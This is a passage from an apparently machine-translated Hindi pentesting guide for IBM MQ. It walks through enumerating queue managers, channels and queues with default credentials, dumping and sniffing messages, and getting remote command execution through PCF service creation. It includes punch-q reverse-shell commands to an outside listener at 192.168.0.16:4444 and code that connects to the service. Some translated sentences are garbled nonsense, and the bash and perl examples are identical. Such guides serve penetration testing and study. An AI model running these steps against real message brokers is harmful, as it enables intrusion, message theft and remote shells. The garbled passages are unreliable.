1414 - Pentesting IBM MQ

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

मौलिक जानकारी

आईबीएम क्यू एक आईबीएम प्रौद्योगिकी है जो संदेश कतारों का प्रबंधन करने के लिए है। जैसे अन्य संदेश ब्रोकर प्रौद्योगिकियों, यह उत्पादक और उपभोक्ताओं के बीच सूचना प्राप्त, संग्रहित, प्रसंस्कृत और वर्गीकरण करने के लिए समर्पित है।

डिफ़ॉल्ट रूप से, यह आईबीएम क्यू टीसीपी पोर्ट 1414 को उजागर करता है। कभी-कभी, HTTP REST API पोर्ट 9443 पर उजागर किया जा सकता है। मैट्रिक्स (प्रोमेथियस) को भी टीसीपी पोर्ट 9157 से एक्सेस किया जा सकता है।

आईबीएम क्यू टीसीपी पोर्ट 1414 का उपयोग संदेश, कतार, चैनल, ... को मैनिपुलेट करने के लिए हो सकता है, लेकिन इंस्टेंस को भी नियंत्रित करने के लिए

आईबीएम द्वारा https://www.ibm.com/docs/en/ibm-mq पर एक बड़ी तकनीकी प्रलेखन उपलब्ध है।

उपकरण

आसान शोध के लिए एक सुझाया गया उपकरण है punch-q, जिसमें डॉकर का उपयोग होता है। यह उपकरण सक्रिय रूप से पायथन पुस्तकालय pymqi का उपयोग करता है।

अधिक मैन्युअल दृष्टिकोण के लिए, पायथन पुस्तकालय pymqi का उपयोग करें। आईबीएम क्यू निर्भरताएं की आवश्यकता होती है।

pymqi को स्थापित करना

आईबीएम क्यू निर्भरताएं को स्थापित और लोड किया जाना चाहिए:

  1. https://login.ibm.com/ पर एक खाता (IBMid) बनाएं।

  2. डीकॉम्प्रेस करें (tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz)।

  3. लाइसेंस की शर्तें स्वीकार करने के लिए sudo ./mqlicense.sh चलाएं।

यदि आप काली लिनक्स के अंदर हैं, तो फ़ाइल mqlicense.sh को संशोधित करें: निम्नलिखित पंक्तियों को हटाएं/टिप्पणी करें (लाइन 105-110 के बीच):

if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
 then
   echo "ERROR: This package is incompatible with this system"
   echo "       This package was built for ${BUILD_PLATFORM}"
   exit 1
fi
  1. ये पैकेज स्थापित करें:

sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
  1. फिर, .so फ़ाइलों को LD में अस्थायी रूप से जोड़ें: export LD_LIBRARY_PATH=/opt/mqm/lib64, पहले इन डिपेंडेंसियों का उपयोग करने वाले अन्य उपकरणों को चलाने से पहले।

फिर, आप परियोजना pymqi क्लोन कर सकते हैं: इसमें दिलचस्प कोड स्निपेट, स्थिरांक, ... है। या आप सीधे पुस्तकालय को इंस्टॉल कर सकते हैं: pip install pymqi

पंच-क्यू का उपयोग

डॉकर के साथ

बस इस्तेमाल करें: sudo docker run --rm -ti leonjza/punch-q

डॉकर के बिना

परियोजना punch-q क्लोन करें और फिर स्थापना के लिए readme का पालन करें (pip install -r requirements.txt && python3 setup.py install)।

इसके बाद, इसे punch-q कमांड के साथ उपयोग किया जा सकता है।

गणना

आप पंच-क्यू या pymqi के साथ क्यू मैनेजर नाम, उपयोगकर्ता, चैनल और क्यू की गणना करने की कोशिश कर सकते हैं।

कतार प्रबंधक

कभी-कभी, क्यू प्रबंधक नाम प्राप्त करने के खिलाफ कोई सुरक्षा नहीं होती है:

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR

चैनल

punch-q एक आंतरिक (संशोधनीय) शब्दसूची का उपयोग कर विद्यमान चैनल खोजने के लिए किया जाता है। उपयोग उदाहरण:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.

ऐसा होता है कि कुछ IBM MQ उदाहरण अप्रमाणित MQ अनुरोध स्वीकार करते हैं, इसलिए --username / --password की आवश्यकता नहीं है। बेशक, पहुंच अधिकार भी भिन्न हो सकते हैं।

जैसे ही हमें एक चैनल नाम मिलता है (यहाँ: DEV.ADMIN.SVRCONN), हम सभी अन्य चैनलों की जांच कर सकते हैं।

सूचीकरण मूल रूप से इस कोड स्निपेट code/examples/dis_channels.py के साथ pymqi से किया जा सकता है:

import logging
import pymqi

logging.basicConfig(level=logging.INFO)

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

prefix = '*'

args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)

qmgr.disconnect()

... लेकिन punch-q भी उस हिस्से को एम्बेड करता है (अधिक जानकारी के साथ!)। इसे इस प्रकार से लॉन्च किया जा सकता है:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...

| Name                 | Type              | MCA UID | Conn Name | Xmit Queue | Description     | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN    | Server-connection |         |           |            |                 |            |
| DEV.APP.SVRCONN      | Server-connection | app     |           |            |                 |            |
| SYSTEM.AUTO.RECEIVER | Receiver          |         |           |            | Auto-defined by |            |
| SYSTEM.AUTO.SVRCONN  | Server-connection |         |           |            | Auto-defined by |            |
| SYSTEM.DEF.AMQP      | AMQP              |         |           |            |                 |            |
| SYSTEM.DEF.CLUSRCVR  | Cluster-receiver  |         |           |            |                 |            |
| SYSTEM.DEF.CLUSSDR   | Cluster-sender    |         |           |            |                 |            |
| SYSTEM.DEF.RECEIVER  | Receiver          |         |           |            |                 |            |
| SYSTEM.DEF.REQUESTER | Requester         |         |           |            |                 |            |
| SYSTEM.DEF.SENDER    | Sender            |         |           |            |                 |            |
| SYSTEM.DEF.SERVER    | Server            |         |           |            |                 |            |
| SYSTEM.DEF.SVRCONN   | Server-connection |         |           |            |                 |            |
| SYSTEM.DEF.CLNTCONN  | Client-connection |         |           |            |                 |            |

कताएँ

यहाँ एक कोड स्निपेट है pymqi (dis_queues.py) लेकिन punch-q को कताओं के बारे में अधिक जानकारी प्राप्त करने की अनुमति है:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created   | Name                 | Type   | Usage   | Depth  | Rmt. QM | Rmt. Qu | Description                       |
|           |                      |        |         |        | GR Name | eue Nam |                                   |
|           |                      |        |         |        |         | e       |                                   |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 | E                    |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.1          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.2          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.3          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
# Truncated

शारीरिक शोषण

संदेश डंप

आप कतार(कतारों)/चैनल(चैनलों) को लकड़बग्घा लगाने के लिए लकड़बग्घा लगाने के लिए संदेशों को छानने/डंप करने का लक्ष्य निशेष ऑपरेशन कर सकते हैं। उदाहरण:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump

सभी पहचानी गई कतारों पर इटरेट करने से हिचकिचाहट न करें।

कोड निष्पादन

जारी रखने से पहले कुछ विवरण: IBM MQ को कई तरीकों से नियंत्रित किया जा सकता है: MQSC, PCF, नियंत्रण कमांड। कुछ सामान्य सूचियाँ IBM MQ दस्तावेज़ीकरण में मिल सकती हैं। PCF (प्रोग्रामेबल कमांड फॉर्मेट्स) उस पर ध्यान केंद्रित है जिससे हम इंस्टेंस के साथ दूरस्थ रूप से बातचीत कर सकते हैं। punch-q और इसके आगे pymqi PCF इंटरैक्शन पर आधारित हैं।

आप एक PCF कमांडों की सूची पा सकते हैं:

एक दिलचस्प कमांड MQCMD_CREATE_SERVICE है और इसकी दस्तावेज़ीकरण यहाँ उपलब्ध है। इसे एक StartCommand के रूप में एक स्थानीय कार्यक्रम परिभाषित करता है जो इंस्टेंस पर हो (उदाहरण: /bin/sh)।

दस्तावेज़ में इस कमांड की एक चेतावनी भी है: "ध्यान दें: इस कमांड द्वारा एक उपयोगकर्ता को mqm अधिकार के साथ किसी भी विचित्र कमांड को चलाने की अनुमति होती है। इस कमांड का उपयोग करने के अधिकार प्रदान किए जाने पर, एक दुर्भाग्यपूर्ण या बेपरवाह उपयोगकर्ता एक सेवा को परिभाषित कर सकता है जो आपके सिस्टम या डेटा को नुकसान पहुंचा सकती है, उदाहरण के लिए, महत्वपूर्ण फ़ाइलें हटा देने के द्वारा।"

नोट: हमेशा IBM MQ दस्तावेज़ीकरण (प्रशासन संदर्भ) के अनुसार, सेवा निर्माण के लिए समकक्ष MQSC कमांड चलाने के लिए /admin/action/qmgr/{qmgrName}/mqsc पर एक HTTP एंडप्वाइंट भी है। यह पहलू यहाँ अभी तक शामिल नहीं है।

PCF के साथ रिमोट प्रोग्राम निष्पादन के लिए सेवा निर्माण / हटाना punch-q द्वारा किया जा सकता है:

उदाहरण 1

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"

IBM MQ के लॉग में, आप पढ़ सकते हैं कि कमांड सफलतापूर्वक चलाई गई है:

2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]

आप मशीन पर मौजूदा प्रोग्रामों की सूची भी बना सकते हैं (यहाँ /bin/doesnotexist ... मौजूद नहीं है):

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436

Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done

कृपया ध्यान दें कि कार्यक्रम लॉन्च असमंजस है। इसलिए आपको एक दूसरे आइटम की आवश्यकता है ताकि आप उसे शास्त्र के रूप में उपयोग कर सकें (रिवर्स शैल के लिए सुनने वाला, विभिन्न सेवा पर फ़ाइल निर्माण, नेटवर्क के माध्यम से डेटा निकासी ...)

उदाहरण 2

आसान रिवर्स शैल के लिए, punch-q दो रिवर्स शैल पेलोड भी प्रस्तुत करता है:

  • एक बैश के साथ

  • एक पर्ल के साथ

बेशक, आप कमांड का निष्पादन के साथ एक कस्टम भी बना सकते हैं।

बैश के लिए:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

For पर्ल:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

कस्टम पीसीएफ

आप IBM MQ दस्तावेज़ीकरण में खोज कर सकते हैं और punch-q में निर्मित किसी विशेष PCF कमांड का परीक्षण करने के लिए pymqi पायथन पुस्तकालय का सीधा उपयोग कर सकते हैं।

उदाहरण:

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response

qmgr.disconnect()

यदि आप स्थिर नामों को नहीं ढूंढ पा रहे हैं, तो आप IBM MQ दस्तावेज़ीकरण का संदर्भ ले सकते हैं।

उदाहरण के लिए MQCMD_REFRESH_CLUSTER (दशमलव = 73)। इसे पैरामीटर MQCA_CLUSTER_NAME (दशमलव = 2029) की आवश्यकता होती है जो * हो सकता है (दस्तावेज़ीकरण: ):

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
    args = {2029: "*"}
    response = pcf.MQCMD_REFRESH_CLUSTER(args)
except pymqi.MQMIError as e:
    print("त्रुटि")
else:
    print(response)

qmgr.disconnect()

परीक्षण परिवेश

यदि आप IBM MQ का व्यवहार और उत्पीड़न का परीक्षण करना चाहते हैं, तो आप Docker पर आधारित स्थानीय परिवेश सेटअप कर सकते हैं:

  1. ibm.com और cloud.ibm.com पर खाता होना।

  2. निम्नलिखित के साथ एक कंटेनरीकृत IBM MQ बनाएं:

sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
डिफ़ॉल्ट रूप से प्रमाणीकरण सक्षम है, उपयोगकर्ता नाम `admin` है और पासवर्ड `passw0rd` है (पर्यावरण चर `MQ_ADMIN_PASSWORD`).
यहाँ, क्यू मैनेजर नाम को `MYQUEUEMGR` (चर `MQ_QMGR_NAME`) पर सेट किया गया है।

आपको IBM MQ को चालू और इसके पोर्ट उजागर करने की आवश्यकता है:
 sudo docker ps
CONTAINER ID   IMAGE                                COMMAND                  CREATED         STATUS                    PORTS                                                                    NAMES
58ead165e2fd   icr.io/ibm-messaging/mq:9.3.2.0-r2   "runmqdevserver"         3 seconds ago   Up 3 seconds              0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp   testing-ibmmq

IBM MQ डॉकर छवियों की पुरानी संस्करण यहाँ उपलब्ध हैं: https://hub.docker.com/r/ibmcom/mq/.

संदर्भ

Last updated